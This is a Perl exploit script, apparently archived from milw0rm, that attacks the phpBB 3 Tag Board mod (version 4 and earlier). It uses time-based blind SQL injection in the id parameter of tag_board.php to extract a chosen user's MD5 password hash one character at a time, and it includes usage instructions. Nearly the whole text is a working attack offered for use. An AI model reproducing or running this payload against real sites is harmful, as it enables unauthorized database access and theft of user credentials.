phpBB 3 (Mod Tag Board <= 4) Remote Blind SQL Injection Exploit#!/usr/bin/perl 
# ---------------------------------------------------------------
# phpBB 3 (Mod Tag Board <= 4) Remote Blind SQL Injection Exploit  
# by athos - staker[at]hotmail[dot]it
# http://bx67212.netsons.org/forum/viewforum.php?f=3
# ---------------------------------------------------------------
# Note: Works regardless PHP.ini settings!
# Thanks meh also know as cHoBi
# ---------------------------------------------------------------

use strict;
use LWP::UserAgent;

my ($hash,$time1,$time2);

my @chars = (48..57, 97..102); 
my $http  = new LWP::UserAgent;

my $host  = shift;
my $table = shift;
my $myid  = shift or &amp;usage;


sub injection
{
    my ($sub,$char) = @_;
    
    return `/tag_board.php?mode=controlpanel&amp;action=delete&amp;id=`.
           `1+and+(select+if((ascii(substring(user_password,${sub},1)`.
           `)=${char}),benchmark(230000000,char(0)),0)+from+${table}_us`.
           `ers+where+user_id=${myid})--`;
}


sub usage
{
    print STDOUT `Usage: perl $0 [host] [table_prefix] [user_id]\n`;
    print STDOUT `Howto: perl $0 http://localhost/phpBB phpbb 2\n`;
    print STDOUT `by athos - staker[at]hotmail[dot]it\n`;
    exit;
}


syswrite(STDOUT,'Hash MD5: ');

for my $i(1..33)
{
    for my $j(0..16)
    {
        $time1 = time();

        $http->get($host.injection($i,$chars[$j]));
        
        $time2 = time();

        if($time2 - $time1 > 6)
        {
            syswrite(STDOUT,chr($chars[$j]));
            $hash .= chr($chars[$j]); 
            last;
        }
        
        if($i == 1 &amp;&amp; length $hash < 0)
        {
            syswrite(STDOUT,`Exploit Failed!\n`);
            exit;
        } 
    }
}

# milw0rm.com [2008-12-08]